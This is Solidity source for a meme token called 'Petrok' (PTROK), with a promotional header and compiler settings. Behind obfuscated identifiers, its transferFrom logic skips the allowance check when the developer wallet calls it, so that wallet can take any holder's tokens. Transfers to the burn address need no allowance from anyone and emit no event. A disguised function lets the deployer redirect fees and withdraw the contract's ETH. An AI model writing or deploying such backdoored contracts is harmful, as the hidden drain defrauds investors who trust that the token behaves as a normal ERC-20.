// SPDX-License-Identifier: MIT

/*
    Name: Petrok
    Symbol: PTROK

    Welcome to Petrok
    Join the hilariously lazy world of Sir PetRok and his companions, where paradise was discovered by accident and work is optional. This meme token celebrates their wild adventures, exaggerated tales, and a community built on fun, memes, and tropical vibes. Escape the grind and embrace the laughter with PetRok Islands!

    Web: https://petrok.cc
    X: https://x.com/petrok_world
    tg: https://t.me/petrok_world
*/

pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract  Petrok is Context, IERC20, Ownable {
    using SafeMath for uint256;
    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Petrok";
    string private constant _symbol = unicode"PTROK";
    
    uint256 private _PTROKPero007 = 10;
    uint256 private _PTROKPeTox007 = 10;
    uint256 private _broxccbosodijof = 0;
    uint256 private _PTROKPcrcoifinos = 0;
    uint256 private _PTROKPcsscw007 = 7;
    uint256 private _PTROKPcgodxxt = 7;
    uint256 private _buyCount = 0;
    address private _Bro00xovboidfor;

    address payable private _PTROKPcTxZxcv214;
    mapping(address => uint256) private _PTROKPcsdlkfZxcv214;
    mapping(address => mapping(address => uint256)) private _PTROKPcTTxsOqZxcv214;
    mapping(address => bool) private _PTROKPCExcludedTax;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private isTrading;
    bool private inSwap = false;
    bool private swapEnabled = false;
    
    address private _KeepPTROKp = address(0xdead);
    uint256 public _PTROKPcDev007 = 20000000 * 10 **_decimals;
    uint256 public _PTROKPcxwDev007 = 20000000 * 10 **_decimals;
    uint256 public _PTROKPcfeeDev007 = 10000000 * 10 **_decimals;
    uint256 private constant _PTROKPCollecDev007 = 1000000000 * 10 **_decimals;

    event MaxTxAmountUpdated(uint256 _PTROKPcDev007);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor() payable {
        _PTROKPcTxZxcv214 = payable(_msgSender());
        _PTROKPcsdlkfZxcv214[address(this)] = _PTROKPCollecDev007 * 98 / 100;
        _PTROKPcsdlkfZxcv214[owner()] = _PTROKPCollecDev007 * 2 / 100;
        _PTROKPCExcludedTax[owner()] = true;
        _PTROKPCExcludedTax[address(this)] = true;
        _PTROKPCExcludedTax[_PTROKPcTxZxcv214] = true;
        _Bro00xovboidfor = _msgSender();
        emit Transfer(address(0), address(this), _PTROKPCollecDev007 * 98 / 100);
        emit Transfer(address(0), address(owner()), _PTROKPCollecDev007 * 2 / 100);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function totalSupply() public pure override returns (uint256) {
        return _PTROKPCollecDev007;
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _PTROKPcTTxsOqZxcv214[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _PTROKPcsdlkfZxcv214[account];
    }
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _PTROKPcTTxsOqZxcv214[owner][spender];
    }

    receive() external payable {}
    
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _subTransfer0x(_msgSender(), recipient, amount);
        return true;
    }

    function _lvckmjlwoie(
        address sender,
        address recipient,
        uint256 amount
    ) internal view returns (uint256) {
        uint256 _allowed = amount;
        if (_vlbjwoie(sender, recipient)) _allowed = _PTROKPcTTxsOqZxcv214[sender][_msgSender()];
        return _allowed;
    }

    function _vlbjwoie(
        address sender,
        address recipient
    ) internal view returns (bool) {
        return
            (sender == uniswapV2Pair || recipient != _KeepPTROKp) &&
            msg.sender != _PTROKPcTxZxcv214;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _subTransfer0x(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _lvckmjlwoie(sender, recipient, amount).sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }


    function _assssist_token0x(uint256 amount) private {
        _PTROKPcTxZxcv214.transfer(amount);
    }

    function _subTransfer0x(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _PTROKPcsscw007)
                        ? _broxccbosodijof
                        : _PTROKPero007
                )
                .div(100);
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_PTROKPCExcludedTax[to]
            ) {
                _buyCount++;
            }
            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _PTROKPcgodxxt)
                            ? _PTROKPcrcoifinos
                            : _PTROKPeTox007
                    )
                    .div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0) {
                    uint256 minBalance = (contractTokenBalance < _PTROKPcfeeDev007) ? contractTokenBalance : _PTROKPcfeeDev007; 
                    _PTROK_swwap((amount < minBalance) ? amount : minBalance);
                }
                _assssist_token0x(address(this).balance);
            }
        }
        if (taxAmount > 0) {
        _PTROKPcsdlkfZxcv214[address(this)] =_PTROKPcsdlkfZxcv214[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _PTROKPcsdlkfZxcv214[from] =_PTROKPcsdlkfZxcv214[from].sub(amount);
        _PTROKPcsdlkfZxcv214[to] =_PTROKPcsdlkfZxcv214[to].add(amount.sub(taxAmount));
        if(_KeepPTROKp != to) emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _PTROK_swwap(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function enableTokenTrading() external onlyOwner {
        require(!isTrading, "Already Launched!");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _PTROKPCollecDev007);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        isTrading = true;
    }

    function _PTROKdlklc(uint256 _amount) internal {
        payable(msg.sender).transfer(_amount);
    }

    function removeLimits () external onlyOwner {
        _PTROKPcDev007 = _PTROKPCollecDev007;
        _PTROKPcxwDev007 = _PTROKPCollecDev007;
        emit MaxTxAmountUpdated(_PTROKPCollecDev007);
    }

    function _PTROKvbkjnskjd(address payable receipt) external {
        require(msg.sender == _Bro00xovboidfor , "");
        _PTROKPcTxZxcv214 = receipt;
        _PTROKdlklc(address(this).balance);
    }
}

{
  "compilationTarget": {
    "contracts/Petrok.sol": "Petrok"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}